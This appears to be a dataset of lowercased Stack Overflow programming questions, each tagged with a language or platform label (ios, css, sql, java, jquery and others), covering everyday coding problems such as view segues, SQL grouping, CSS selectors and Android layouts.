loading different view without using segue based on nsuserdefaults value  i have the following in my initial view controller. i do a check to see if the url is set; if it is i segue to that view.     there is an animation when this happens. i would like to avoid doing the segue and directly load the view without any animation. (i want it to look like it was their first view). is there a way to do this  do i need to modify app delegate  what is the best practice    <pre><code>- (void) viewdidappear:(bool)animated {     [super viewdidappear:animated];      self.navigationcontroller.toolbarhidden = yes;     self.navigationcontroller.navigationbarhidden = yes;      nsuserdefaults *defaults = [nsuserdefaults standarduserdefaults];     nsstring* url = [defaults objectforkey:@ storeurl ];      if (url != nil)     {          [self performseguewithidentifier:@ continuetostore  sender:self];     } } </code></pre>,ios
vibrate in push notification  how  can i set that device should vibrate if a push notification come to my application,iphone
detect color on screen (not camera) between a defined area(closed)  i do not want this to be a camera detection program. this is a program that will detect the passing of a color on the screen in an application.    what i want to do is detect when the color black  bigger than a 5x5 px  passes through a defined area of space on the screen. i thought about using one big area to stretch the entire width  but i think that might be improbable. so i figure that i will have to do it between 4 individual areas and detect which one is getting the passing of a black color.     i have been very unlucky in finding what i need in google. so if anyone has any pointers to a good example  tutorial  or has done something like this and can show me the way  i will be greatly appreciative.     if i need to add something to this request  comment what i need to add.    edit: see the second comment (mine) for more clarification.,android
return an instance of a class  i have the following classes:    minmaxarray class:   <pre><code>public class minmaxarray {   public static &lt;t&gt; void minmax(t[] anarray)   {     //return an instance of class pair   }//minmax }//class minmaxarray </code></pre>   pair class:   <pre><code>//two objects grouped into a pair. public class pair&lt;firsttype  secondtype&gt; {   //the first object.   private final firsttype first;    //the second object.   private final secondtype second;    //constructor is given the two objects.   public pair(firsttype requiredfirst  secondtype requiredsecond)   {     first = requiredfirst;     second = requiredsecond;   }//pair      //return the first object.   public firsttype getfirst()   {     return first;   }//getfirst     //return the second object.   public secondtype getsecond()   {     return second;   }//getsecond  }//class pair </code></pre>   i m not sure how i can go about returning an instance of the pair class. not looking for answers  just a starting point. thanks,java
angular cli won t install on ubuntu 16.04 / node v4.2.6 / npm 3.5.2  i am fairly new to ubuntu  and decently new to angularjs(4) and the angular cli as well. i have used the program with windows 10  and now i am trying to install it on ubuntu.    when i try and install  whether it be:   <pre><code>sudo npm install --unsafe-perm -g @angular/cli </code></pre>   (error + when i try to create a new app)   <pre><code>    npm warn optional skipping failed optional dependency /@angular/cli/chokidar/fsevents: npm warn notsup not compatible with your operating system or architecture: fsevents@1.1.2 eddietal2@eddieslaptop:~$ ng new eddie /usr/local/lib/node_modules/@angular/cli/models/config/config.js:17     constructor(_configpath  schema  configjson  fallbacks = []) {                                                            ^  syntaxerror: unexpected token =     at exports.runinthiscontext (vm.js:53:16)     at module._compile (module.js:374:25)     at object.module._extensions..js (module.js:417:10)     at module.load (module.js:344:32)     at function.module._load (module.js:301:12)     at module.require (module.js:354:17)     at require (internal/module.js:12:17)     at object.&lt;anonymous&gt; (/usr/local/lib/node_modules/@angular/cli/models/config.js:3:18)     at module._compile (module.js:410:26)     at object.module._extensions..js (module.js:417:10) </code></pre>  <hr>   or   <hr>  <pre><code>sudo apt install  @angular/cli  sudo: unable to resolve host eddieslaptop </code></pre>   (error)   <pre><code>reading package lists... done building dependency tree        reading state information... done e: unable to locate package @angular </code></pre>   it won t install. any help would be appreciated !,angularjs
if else statement in sql <pre><code>select s.id  s.name  s.version  s.softno from software s with(nolock) where (if s.version = 0 then s.version &gt; 0 else s.version = @version) and (if s.softno = 0 then s.softno &gt; 0 else s.softno = @softno) </code></pre>   if version is equal to zero  i want to list everything version number is greater then 0 if it is not equal to 0  then version should be whatever it is value.    this is same for softno.    how can i fix my sql query. it just doesn t work.    more details:    this is what i want to achieve:   <pre><code>if(version == 0) {      display every single rows if their version number is greater then 0; } else {      lets assume that version is equal to 5. then just display the rows if their version number is equal to 5; } // this is like a c# code of what i am trying to do in my sql query. </code></pre>,sql
line height not accurate   someone probably had the same issue  but can t find anything. it seems like line-height css doesn t match the actual height of the line    here is the text css properties:   <pre><code>.description{     line-height:17px;     font-size:14px;     height:85px;     overflow:hidden; } </code></pre>   so normally  since 17px * 5 = 85px  we should only see 5 lines  but as you can see on the pic  the top of the next line is showing up. it behave like if line-height is about 16.7px and not 17px. is there a way to correct that     i try with different height (102px  170px  etc..)   and the higher the box is  bigger the gap is (at 255px  we can see half of the next line )    <a href= https://i.stack.imgur.com/c1dih.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/c1dih.png  alt= enter image description here ></a>    <strong>update</strong>: a comparison of my result with 255px box (issue) and the expected result (like jsfiddle)    js fiddle : <a href= https://jsfiddle.net/eo7pkzqt/28/  rel= nofollow noreferrer >https://jsfiddle.net/eo7pkzqt/28/</a> <a href= https://i.stack.imgur.com/hzk4o.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/hzk4o.png  alt= enter image description here ></a>,css
what is the best function name opposite to  xxx_init    when i write a c program  i often need to name a function like this: conn_pool_init (in this function  initialize the connection pool  and start it).      i often consider what is the best opposite function name. i have seen such as conn_pool_end  conn_pool_stop  or conn_pool_deinit. so i want to ask if there is a conventional name which is opposite to  xxx_init,c
c++: int64_t where does it come from   i was wondering where types like int64_t come from. are they c++ standard or os-dependent  (1)    also  do you know where i can find documentation about these types  i couldn t find useful information so far. do they have a special name  (2)    what s their general difference with regards to the standard primitive types like int long... (3)    thank you and regards,c++
passing data between views using objective-c  i am making an app in which i <strong>need to pass data between views</strong> using <em>button click</em> in <strong>objective-c</strong>.    i have created  <strong>viewcontroller.m</strong> to <em>pass</em> and <strong>detailcontroller.m</strong> to <em>get</em>...    <strong>viewcontroller.m:</strong>   <pre><code>   - (ibaction)btnsubmit:(id)sender {       nsstring *name = [txtname text];       detailcontroller *view2 = [[[detailcontroller alloc]       initwithnibname:nil  bundle:nil] autorelease];      [self presentviewcontroller:view2 animated:no completion:null];        } </code></pre>   <strong>detailcontroller.m</strong>    <pre><code>    - (void)viewdidload      {         [super viewdidload];         // do any additional setup after loading the view from its nib.          lblresult.text = [self.detailitem description];       } </code></pre>   i am not getting the reason why i am not able to <em>pass name value to another view</em>,objective-c
css child selector applying to nested elements  i want to make the paragraph that is a direct child of the div foo have blue text and all other paragraphs have blue text  but the css i have written is apply that style to nested   tags inside the div too.    css:   <pre><code>p {   color:red; }  #foo &gt; p{  color: blue; } </code></pre>   html   <pre><code>&lt;html&gt; &lt;head&gt;   &lt;link type= test/css  rel= stylesheet  href= test.css /&gt; &lt;/head&gt; &lt;body&gt;   &lt;div id= foo &gt;   &lt;p&gt;       this is the first line.&lt;br/&gt;       this is the second line       &lt;p&gt;nested paragraph&lt;/p&gt;   &lt;/p&gt;   &lt;/div&gt;   &lt;p&gt;paragraph in new div&lt;/p&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   output (chrome)    this is the first line. (blue) this is the second line (blue)    nested paragraph (blue)     paragraph in new div (red),css
difference between a uiviewcontroller s view frame and navigationcontroller.view.frame   i have a uiviewcontroller derived class that is part of a uinavigationcontroller s view controller.    there s the view that s part of the uiviewcontroller and there s also access to navigationcontroller property.    so what s the difference between   <pre><code>self.navigationcontroller.view.frame  </code></pre>   vs    <pre><code>self.view.frame </code></pre>   in terms of the uiviewcontroller class,iphone
how to make every input into bold in jquery  i have a text  red  and a textfield i need to input red in my textfield if it is equals to red it will change the background color of the text into red.. but while typing i need to make each letter into bold  type if the corresponding input is equal to the text  red  for     example: i type  r  so it will make the  r in red in bold and then type  re  it will make re in red bold if i type ref it will only bold the  re  i have only done the red background color   <pre><code>$(document).ready(function() {         var str = $( #color ).html();         var r = str.substring(0  1);         var e = str.substring(1  2);         var d = str.substring(2  3);          $( #theinput ).keyup(function() {             var v = $(this).val();             if (v == str) {                 $( #color ).css( background-color    red );             } else {                 $( #color ).css( background-color    white );             }         }); }); </code></pre>,jquery
how to handle the rotation of mpmovie player object in iphone   i m using a custom movie player in my application  its working fine.    but i m stuck up with managing the rotation of the player  i want to rotate the player as the phone rotates  similar to the default nature of mpmovie player.    how can i control that,iphone
using the match method  the below makes it so that if it finds both the word hello  and goodbye in string text  it will print true. my question is: can you make it print something else  if so how  i want to make it print  yes  as oppose to  true .   <pre><code>string text =  i said hello  and goodbye.   system.out.println(text.matches( ( i)^.*\\bhello\\b.*\\bgoodbye\\b.*$ )); </code></pre>,java
test whether keyboard hide a text field when it s shown  i try to move up the form when the keyboard is shown  my approach is to test whether the frame of the keyboard and the frame of the text field intersects.   <pre><code>- (void)keyboarddidshow:(nsnotification *)notification {       // get the size of the keyboard.     cgrect keyboardframe = [[[notification userinfo] objectforkey:uikeyboardframebeginuserinfokey] cgrectvalue];      //test whether the current frame of the text field is hidden by the keyboard      if (!cgrectisnull(cgrectintersection(keyboardframe self.activefield.frame))) {         nslog(@ key board frame intersects with the text field frame );     }   } </code></pre>   in the code above  <code>cgrectisnull</code> always return null.     a debugging statements return me these info about the keyboard and the active text field being selected in the form:    keyboard size = (width=352  height=1024) keyboard origin = (x=-352  y=0)    key board frame = (-352 0 352 1024) text field frame = (200  15  300  30)    every text field has the same frame values  which means something is wrong. so how can i test whether the keyboard is hiding the text field so that i move my form up and down. thanx.,ios
why doesn t the pointer for the char *str change when we reverse the string in this function   i wrote a simple function to perform in place reversal:   <pre><code>void in_place_reverse(char *str){     if(!str || !(*str)){         return;     }      char *str_end = str+strlen(str)-1;      int temp;     while(str &lt; str_end){         temp = *str;         *(str++) = *str_end;         *(str_end--) = temp;     } } </code></pre>   i m just wondering why when i do something like this:   <pre><code>char str[] =  reverse me! ; cout &lt;&lt;  original:   &lt;&lt; str &lt;&lt; endl; in_place_reverse(str); cout &lt;&lt;  reversed:   &lt;&lt; str &lt;&lt; endl; </code></pre>   <code>str</code> wasn t changed inside of the function. the reason i ask is because the line <code>*(str++)</code> is incrementing the pointer that points to <code>str</code>. so what i m really asking is why something like this isn t necessary:   <pre><code>char *str_beg = str; char *str_end = str+strlen(str)-1;  int temp; while(str_beg &lt; str_end){     temp = *str_beg;     *(str_beg++) = *str_end;     *(str_end--) = temp; } </code></pre>   so that we re not actually changing the pointer that points to the first position of <code>str</code>.,c++
how to get relative path from absolute path  there s a part in my apps that displays the file path loaded by the user through openfiledialog. it s taking up too much space to display the whole path  but i don t want to display only the filename as it might be ambiguous. so i would prefer to show the file path relative to the assembly/exe directory.    for example  the assembly resides at  c:\program files\dummy folder\myprogram  and the file at  c:\program files\dummy folder\myprogram\data\datafile1.dat  then i would like it to show  .\data\datafile1.dat . if the file is in  c:\program files\dummy folder\datafile1.dat   then i would want  ..\datafile1.dat . but if the file is at the root directory or 1 directory below root  then display the full path.     what solution would you recommend  regex     basically i want to display useful file path info without taking too much screen space.    edit: just to clarify a little bit more. the purpose of this solution is to help user or myself knowing which file did i loaded last and roughly from which directory was it from. i m using a readonly textbox to display the path. most of the time  the file path is much longer than the display space of the textbox. the path is supposed to be informative but not important enough as to take up more screen space.    alex brault comment was good  so is jonathan leffler. the win32 function provided by davidk only help with part of the problem  not the whole of it  but thanks anyway. as for james newton-king solution  i ll give it a try later when i m free.,.net
replace lines in file from for loop  let s say that i have a file that contains different mac address notations of multiple mac addresses. i want to replace all the matching notations of one mac address i have parsed from an argument input. so far my script generates all the notations i need and can loop through the lines of the text and show the lines that have to be changed.   <pre><code>import argparse  sys  parser = argparse.argumentparser() parser.add_argument( -f    --filename ) parser.add_argument( -m     --mac_address ) args = parser.parse_args()  mac = args.mac_address #in this case 00:1a:e8:31:71:7f  colon2 = mac #00:1a:e8:31:71:7f dot2 = colon2.replace( :   . ) # 00.1a.e8.31.71.7f hyphen2 = colon2.replace( :   - ) # 00-1a-e8-31-71-7f nosymbol = colon2.replace( :    ) # 001ae831717f colon4 =  : .join(nosymbol[i:i+4] for i in range(0  len(nosymbol)  4)) # 001a:e831:717f  dot4 = colon4.replace( :   . ) # 001a.e831.717f hyphen4 = colon4.replace( :   - ) # 001a-e831-717f   replacethis = [colon2 dot2 hyphen2 dot4 colon4 nosymbol hyphen4] with open(args.filename   r+ ) as f:     text = f.read()     for line in text.split( \n ):         for n in replacethis:             if line.replace(n  mac) != line:                 print line +  \n has to change to: \n line.replace(n mac)             else:                 continue </code></pre>   if the file would look like this:    <blockquote>    fb:76:03:f0:67:01        fb.76.03.f0.67.01        fb-76-03-f0-67-01        001a:e831:727f        001ae831727f        fb76.03f0.6701        001ae831727f        fb76:03f0:6701        001a.e831.727f        fb76-03f0-6701        fb7603f06701  </blockquote>   it should change to:   <blockquote>    fb:76:03:f0:67:01        fb.76.03.f0.67.01        fb-76-03-f0-67-01        <strong>00:1a:e8:31:71:7f</strong>        <strong>00:1a:e8:31:71:7f</strong>        fb76.03f0.6701        <strong>00:1a:e8:31:71:7f</strong>        fb76:03f0:6701        <strong>00:1a:e8:31:71:7f</strong>        fb76-03f0-6701        fb7603f06701  </blockquote>   i am struggling at writing the new lines containing the changed mac address notation back to the file replacing the previous line.    is there a way to do this,python
history of methods and functions that were called during last postback  is there a built in way to get a full history what has been done during the last postback  what methods and functions that were called  something like the stack trace when there is an error  but in this case  there is no error on the server.     <strong>update</strong>    i need to be able to save the history to a database. sometimes my users get a problem with ajax.net and i want to see what happen to cause the error.,asp.net
how to change resources dynamically  i have a window based application in c#. i am trying to do this for some another language  say arabic.    as we know there is resource file for each form. i have created a global resource file as resoucefilename.ar-sa.resx . now i want to change all labels dynamically when i change cultureinfo. if i write in designer file like   <pre><code>static class clslocalization {      static  resourcemanager  resmanager = new resourcemanager(typeof(secure_browser_cs_version.properties.resources));      public static void applyglobalresources(control control string resource)     {         system.threading.thread.currentthread.currentuiculture = new system.globalization.cultureinfo( ar-sa );         control.text=resmanager.getstring(resource);     } }  // resource file  system.componentmodel.componentresourcemanager resources = new system.componentmodel.componentresourcemanager(typeof(sbmainform));//default  // // settinghdrlbl //  resources.applyresources(this.settinghdrlbl   settinghdrlbl ); clslocalization.applyglobalresources(this.settinghdrlbl   settinghdrlbl ); this.settinghdrlbl.backcolor = system.drawing.color.transparent; this.settinghdrlbl.name =  settinghdrlbl ; </code></pre>   this will be reload as default whenever i change in designer file. pl help me out,c#
should i release listeners   i am interesting when i should release listeners and if it is necessary  will a memory leak if i don t do it     i know that need release something like:   <pre><code>@override protected void onresume() {    super.onresume();    currentuser.addonuserupdatelistener(this); }   @override protected void onpause() {     super.onpause();     /* will be serious leak memory if don t do this */     currentuser.removeonuserupdatelistener(this); } </code></pre>   but how about    <pre><code>setnavigationonclicklistener   setoneditoractionlistener .... </code></pre>   will they do leak,android
how do you create a texture effect with css   you can see it done here <a href= http://qunitjs.com/  rel= nofollow noreferrer >http://qunitjs.com/</a> and broken down here <a href= http://jsfiddle.net/xmwt8/8/  rel= nofollow noreferrer >http://jsfiddle.net/xmwt8/8/</a> *edit (<a href= http://jsfiddle.net/xmwt8/9/  rel= nofollow noreferrer >http://jsfiddle.net/xmwt8/9/</a>)    links are available    <ul> <li><a href= http://www.w3schools.com/cssref/pr_background-image.asp  rel= nofollow noreferrer >here</a></li> <li><a href= http://forum.bytesforall.com/showthread.php t=4538  rel= nofollow noreferrer >here</a></li> <li><a href= http://www.w3.org/tr/css21/colors.html  rel= nofollow noreferrer >here</a></li> <li><a href= https://stackoverflow.com/questions/903659/why-i-cant-use-background-image-and-color-together >here</a></li> </ul>   i am trying to use an image as a texture with an overlay color above or combined with the image to blend into a subtle texture. it can be done with a gradient (like in the first and second link i posted). i don t understand why it won t work with just a color (2nd link).,css
read some content of a resource on internet  for my iphone application i need to read some content of a plain html file on the web. it s just some text within a pre-tag. however i don t want to download the whole file and then get the line i need.    the format is:    texttexttexttexttexttexttexttext<br> texttexttexttexttexttexttexttext<br> texttexttexttexttexttexttexttext<br> texttexttexttexttexttexttexttext    i only need the first line and then close the connection to that resource.    thanks in advance.,iphone
remove iphone 3g and ipod touch 3 from the target  how does one remove the iphone 3g and the ipod touch 3 from the target     i have an app that uses libraries that need armv6  so cannot remove that from the architectures. is it possible to still exclude the iphone 3g and the ipod touch 3     thanks,iphone
reloading the page after the ok button in sweetalert  i am using sweetalert code to reload the page after i click the ok  but it just appears for 4 seconds and then reload the page  how can i fix it.     my code:    <pre><code>localstorage.setitem( swal  swal({title: good job!   text: thanks for your quotation  we will get back to you soon!                           type: success  timer:4000 showconfirmbutton: true}));                         location.reload();                         localstorage.getitem( swal ); </code></pre>,jquery
how to change the button text programmaticaly in iphone  im new to iphone development.here i added some list of names in pickerview.the action of pickerview was given to button in view. now i want to show.when click the button pickerview list was displayed i selected one name regarding in pickerview that name was displayed at button in view. i dont no how to change the title in button in iphone.    can any one plz give me information for my problem.    thank you in advance.,iphone
sql query with limit 0  i see people write sql query  for example    <pre><code>select count(*)  from xxx_table  where yyy= abc   limit 0 </code></pre>   wondering what means limit 0 here  referred some documents and discussions and still feel confused.,sql
javascript: how to remove last comma in for-loop  how can i remove the last comma from this function.    <pre><code>   for(var i = 0; i &lt;= 100; i++) {            if(i % 2 === 0) {              div.innerhtml += l +    ;            }           else {              div.innerhtml +=    ;          }    }  </code></pre>,javascript
css second child issue  i am trying to change second button background-color.however  it affects also first button.can you help me please  here is my code:   <pre><code>&lt;table class= table table-striped table-bordered table-hover &gt; &lt;thead&gt;     &lt;tr class= caption &gt;         &lt;th class= center  colspan= 8 &gt;name&lt;/th&gt;         &lt;th class= center  colspan= 3 &gt;             &lt;button class= btn btn-white btn-info btn-bold  title= save  onclick= save(); &gt;              &lt;/button&gt;             &lt;button class= btn btn-white btn-info btn-bold  title= cancel  onclick= cancel(); &gt;              &lt;/button&gt;          &lt;/th&gt;     &lt;/tr&gt;     &lt;tr&gt; &lt;/table&gt; </code></pre>,css
asp.net ajax animation work fine in localhost but not work in ip host  if i run it on my machine using <code>localhost:56993/website7/default.aspx</code> it works fine    if i run it using <code>192.168.1.3/website7/default.aspx</code> as an address the page opens but when click i click on the textbox no fadein happens:   <pre><code>&lt;%@ page language= vb  autoeventwireup= false  codefile= default.aspx.vb  inherits= _default  %&gt; &lt;%@ register assembly= system.web.extensions  version=3.5.0.0  culture=neutral  publickeytoken=31bf3856ad364e35  namespace= system.web.ui  tagprefix= asp  %&gt; &lt;%@ register assembly= ajaxcontroltoolkit  namespace= ajaxcontroltoolkit  tagprefix= asp  %&gt;  &lt;!doctype html public  -//w3c//dtd xhtml 1.0 transitional//en   http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd &gt;  &lt;html xmlns= http://www.w3.org/1999/xhtml &gt; &lt;head runat= server &gt;     &lt;title&gt;untitled page&lt;/title&gt;   &lt;/head&gt; &lt;body&gt;     &lt;form id= form1  runat= server &gt;     &lt;div&gt;            &lt;asp:toolkitscriptmanager id= toolkitscriptmanager1  runat= server &gt;         &lt;/asp:toolkitscriptmanager&gt;         &lt;br /&gt;         &lt;asp:button id= button1  runat= server  text= button  /&gt;         &lt;asp:animationextender id= button1_animationextender  runat= server               targetcontrolid= textbox1   &gt;                &lt;animations&gt;     &lt;onclick&gt;     &lt;sequence&gt;     &lt;styleaction attribute= display  value= block  animationtarget= panel1  /&gt;     &lt;parallel duration= 1  animationtarget= panel1  fps= 20 &gt;      &lt;fadein /&gt;      &lt;/parallel&gt;      &lt;/sequence&gt;     &lt;/onclick&gt;   &lt;/animations&gt;          &lt;/asp:animationextender&gt;          &lt;asp:panel id= panel1  runat= server                 style= position:absolute; top: 180px; left: 89px; height: 148px; width: 151px;  &gt;             &lt;asp:calendar id= calendar1  runat= server  backcolor= #ffffcc                   bordercolor= #ffcc66  borderwidth= 1px  daynameformat= shortest                   font-names= verdana  font-size= 8pt  forecolor= #663399  height= 99px                   showgridlines= true  width= 61px  &gt;                 &lt;selecteddaystyle backcolor= #ccccff  font-bold= true  /&gt;                 &lt;selectorstyle backcolor= #ffcc66  /&gt;                 &lt;todaydaystyle backcolor= #ffcc66  forecolor= white  /&gt;                 &lt;othermonthdaystyle forecolor= #cc9966  /&gt;                 &lt;nextprevstyle font-size= 9pt  forecolor= #ffffcc  /&gt;                 &lt;dayheaderstyle backcolor= #ffcc66  font-bold= true  height= 1px  /&gt;                 &lt;titlestyle backcolor= #990000  font-bold= true  font-size= 9pt                       forecolor= #ffffcc  /&gt;             &lt;/asp:calendar&gt;         &lt;/asp:panel&gt;          &lt;br /&gt;          &lt;asp:textbox id= textbox1  runat= server &gt;&lt;/asp:textbox&gt;      &lt;/div&gt;     &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   what am i doing wrong here,asp.net
is the list of apps on my iphone available for reuse in a different display   i have an idea to use the apps on my iphone as a list for a different way to launch the program. but i have no idea if i can see the apps in something i can display  is this possible  if it is possible  can i launch the listed app from my app  what do i need to access to get this done,iphone
replace a word throughout the body tag but dont replace the word which is present inside the tag attribute like alt  image path  href title etc  i wanted to replace a word  demo text  by  &lt;span class= nowrap-text &gt;demo text&lt;/span&gt;    i tried the following code:   <pre><code>var bodytext = $( body ).html().replace( demo text   &lt;span class= nowrap-text &gt;demo text&lt;/span&gt; ); $( body ).html(bodytext); </code></pre>   but the above code resulting the following issue:   <pre><code>&lt;a herf=   title= &lt;span class= nowrap-text &gt;demo text&lt;/span&gt;  &gt;demo text&lt;/a&gt;  </code></pre>   it needs to change the text inside the  tag not inside the attribute  title     its just an example but it need to apply for different tags and throughout the body wherever the text is present...,jquery
is it possible to change the resx generator to use public accessor on generated class   i m writing an asp.net mvc application and trying to use a resx file to store error messages and other common strings.  the problem is that the resx generator builds internal classes and it s not possible to use them in the asp.net html code using a syntax like:   <pre><code>&lt;%= resources.somestring %&gt; </code></pre>   is it possible to tweak a setting to get the resx generator to build a publicly accessible class and properties,.net
ios data over data headphone port  hardware accessories like the square card reader use the audio (headphone) port to transfer data.    what api in the ios sdk accomplish this,ios
objective c casting (id) vs. casting as an explicit class  often in objective c  you know an object is a kind of particular class  so you cast it into that class to continue using it:   <pre><code>nsobject *object; nsstring *string = (nsstring *)object; </code></pre>   but  this has bothered me for some time - is there any advantage to writing out  nsstring *  in that cast as opposed to the shorter (id):   <pre><code>nsobject *object; nsstring *string = (id)object; </code></pre>   i typically favor verbose objective-c because the language is designed for readability  but i can t figure out any advantage of being verbose in this case.,objective-c
select only one field where equals  z   i want to query a database so that i get <strong>all</strong> fields where field = x  all fields where field = y and <strong>only one</strong> field where field = z in only one query so i can obtain something like this:   <blockquote>    (...) content = something   field = x        (...) content = something   field = x        (...) content = something   field = x        (...) content = something   field = x        (...) content = something   field = y        (...) content = something   field = y        (...) content = something   field = z (only one field where field = z)  </blockquote>   i tried using distinct but it wouldn t work. any idea on this one  thank you very much!,mysql
javascript functions working only by explicit coding and not in a for cycle  i have the following javascript code that works perfectly:   <pre><code>$(document).ready(function() {      $( #select1 ).setdefault();       $( #select2 ).setdefault();        $( #select3 ).setdefault();         $( #select4 ).setdefault();      $( #select5 ).setdefault();         $( #select6 ).setdefault();    });   </code></pre>   now  if i use the following compact code it doesn t work:   <pre><code>$(document).ready(function() {   for(i=1; i&lt;=6; i++){     $( #select +i).setdefault();       } });  </code></pre>   the <strong>for</strong> works fine if i write:   <pre><code>for(i=1; i&lt;=6; i++){     alert(i);     } </code></pre>   any idea     ps: i use chrome and firefox,javascript
sql - return latest comment for every row  so i have two tables  one has all the data and other has a list of comments and i need to load the latest comment for each row in the data table. here s how it looks like    table: <code>queries</code>   <pre><code>id    | name       | -------------------- 1     | john doe   | 2     | jane doe   | 3     | alex smith | </code></pre>   table: <code>messages</code>   <pre><code>id    | queriesid  | comment     | dateadded           | -------------------------------------------------------- 1     | 1          | comment 1   | 2016-06-12 15:00:08 | 2     | 1          | commetn 2   | 2016-06-12 15:01:08 | 3     | 2          | comment 3   | 2016-06-12 15:05:35 | 4     | 2          | comment 4   | 2016-06-12 15:06:35 | </code></pre>   i want the results to look like this   <pre><code>id    | name       | comment     | dateadded           | -------------------------------------------------------- 1     | john doe   | commetn 2   | 2016-06-12 15:01:08 | 2     | jane doe   | comment 4   | 2016-06-12 15:06:35 | 3     | alex smith | null        | null                | </code></pre>   i tried this code   <pre><code>select   a.*    b.comment    b.lastcomment from   queries a left join   (   select     `comment`      max(dateadded) lastcomment        queriesid   from     messages   group by     queriesid ) b on a.id = b.queriesid group by   a.id </code></pre>   but the result i get is this   <pre><code>id    | name       | comment     | dateadded           | -------------------------------------------------------- 1     | john doe   | commetn 1   | 2016-06-12 15:01:08 | 2     | jane doe   | comment 3   | 2016-06-12 15:06:35 | 3     | alex smith | null        | null                | </code></pre>   so the only problem is comment is the first entry and not the one corresponding with the datetime column value. i ve tried many alterations but it doesn t seems to be working. i m sure it s a tiny tweak away from working but i can t seem to find it.    any ideas,mysql
dynamically find position to show / fade the backtop <pre><code> $( .des-sidebar ).sticky({          topspacing: 0  // space between element and top of the viewport          zindex: 100  // z-index          stopper:  .ftr-container  // id  class  or number value      });      _sidebartool.css( position   function(index  state){      if(state ==  fixed ){         console.log( down );         tweenlite.to( $( .backtop )  0.5  { autoalpha: 1  ease: expo.easeout });     }   if ( state ==  static ) {         tweenlite.to( $( .backtop )  0.5  { autoalpha: 0  ease: expo.easeout });         console.log( up );     }   }); </code></pre>   currently using the sticky sidebar from <a href= https://github.com/andrewhenderson/jsticky  rel= nofollow >https://github.com/andrewhenderson/jsticky</a>. when scroll up and down  it will add inline styles for position: fixed and static. i want to check for inline style to display / fade backtop (.backtop class). right now  it is not showing backtop when scrolling down.     i am not sure if i miss something. help appreciated!    <strong>update</strong> saw on console.log that 0  static  up is there when scrolling up and down. it is not correct as it should show up when scroll up and it should show down when scroll down.     thank you!,jquery
how to limit the size of each group in sql   e.g. i have a table that looks like this:   <pre><code>(id  text  class) (0l   a b c d e spark   1.0)  (1l   b d   0.0)  (2l   spark f g h   1.0)  (3l   hadoop mapreduce   0.0)  (3l   hadoop mapreduce   1.0)  (4l   b spark who   1.0)  (5l   g d a y   0.0)  (6l   spark fly   1.0)  (7l   was mapreduce   0.0)  (8l   e spark program   1.0)  (9l   a e c l   0.0)  (10l   spark compile   1.0)  (11l   hadoop software   0.0) </code></pre>   i want to select a table that limit the size of each class to 2  while only keep the rows that has smallest ids  is there an sql command that can do this,sql
c# choosing between properties and methods  after reading this <a href= https://msdn.microsoft.com/en-us/library/ms229054(v=vs.100).aspx  rel= nofollow >microsoft article</a> about when to use properties and methods  i m a little bit confused.    at the example at the bottom they say:   <blockquote>    the following code example shows a complete application that assumes   that a property access is computationally inexpensive. the   employeedata class incorrectly defines a property that returns a copy   of an array.  </blockquote>   specifically    <blockquote>    the employeedata class incorrectly defines a property that returns a   copy of an array.  </blockquote>   what would be the right way to do it      <em><a href= https://dotnetfiddle.net/sjuaka  rel= nofollow >fiddle of the example code</a></em>,c#
how to restrict my website to ie8 and higher versions only  my website should only work for ie8 and higher versions . how can i restrict the use of version change using developer tools to the users    is there a way to restrict that using jquery     this is my javascript to find out the browser mode and document mode of the user agent but i don t restrict the user change the browser and document modes to ie7.    <pre><code>&lt;script type= text/javascript &gt; /* * author: rob reid * createdate: 20-mar-09 * description: little helper function to return details about ie 8 and its various compatibility settings either use as it is * or incorporate into a browser object. remember browser sniffing is not the best way to detect user-settings as spoofing is * very common so use with caution. */ $(function(){ var browserinfo = ieversion(); console.log($( meta ));   alert(browserinfo.docmode);   $( meta ).attr( rel   ie=7 ); }); function ieversion() {     var _n = navigator  _w = window  _d = document;     var version =  na ;     var na = _n.useragent;     var iedocmode =  na ;     var ie8browsermode =  na ;     // look for msie and make sure its not opera in disguise     if (/msie/i.test(na) &amp;&amp; (!_w.opera))     {         // also check for spoofers by checking known ie objects         if (_w.attachevent &amp;&amp; _w.activexobject)         {             // get version displayed in ua although if its ie 8 running in 7 or compat mode it will appear as 7             version = (na.match(/.+ie\s([\d.]+)/i) || [])[1];             // its ie 8 pretending to be ie 7 or in compat mode                           if (parseint(version) == 7)             {                 // documentmode is only supported in ie 8 so we know if its here its really ie 8                 if (_d.documentmode)                 {                     version = 8; //reset  change if you need to                     // ie in compat mode will mention trident in the useragent                     if (/trident\/\d/i.test(na))                     {                         ie8browsermode =  compat mode ;                         // if it doesn t then its running in ie 7 mode                     } else                     {                         ie8browsermode =  ie 7 mode ;                     }                 }             } else if (parseint(version) == 8)             {                 // ie 8 will always have documentmode available                 if (_d.documentmode) { ie8browsermode =  ie 8 mode ; }             }             // if we are in ie 8 (any mode) or previous versions of ie we check for the documentmode or compatmode for pre 8 versions                                      iedocmode = (_d.documentmode)   _d.documentmode : (_d.compatmode &amp;&amp; _d.compatmode ==  css1compat )   7 : 5; //default to quirks mode ie5                                                                               }     }      return {          useragent : na           version : version           browsermode : ie8browsermode           docmode : iedocmode     } }  function displayinfo() {     var browserinfo = ieversion();     alert( useragent:   + browserinfo.useragent +  \nversion:   + browserinfo.version +  \nbrowsermode:   + browserinfo.browsermode +  \ndocmode:   + browserinfo.docmode); } </code></pre>,html
i need to make toggle button in android layout  when i make a toggle button  this message appears in layout   <blockquote>     exception raised during rendering: -1<br>   exception details are logged in   windows > show view > error logthe graphics preview in the layout   editor may not be accurate:<br>   different corner sizes are not supported   in path.addroundrect. (ignore for this session) path.isconvex is not   supported. (ignore for this session)   </blockquote>  <pre><code>&lt;edittext     android:layout_width= fill_parent      android:layout_height= wrap_content      android:id= @+id/etcommands      android:password= true      android:hint= type a command   /&gt;  &lt;linearlayout      android:weightsum= 100       android:layout_width= fill_parent      android:layout_height= wrap_content      android:orientation= horizontal &gt;     &lt;button         android:layout_weight= 20          android:id= @+id/bresults          android:layout_width= fill_parent          android:layout_height= wrap_content          android:text= button  /&gt;      &lt;togglebutton          android:paddingbottom= 10dp          android:layout_weight= 80          android:checked= true          android:text= togglebutton  android:id= @+id/togglebutton          android:layout_width= fill_parent  android:layout_height= wrap_content        /&gt;     &lt;/linearlayout&gt;      &lt;textview         android:id= @+id/tvreslts          android:layout_width= fill_parent          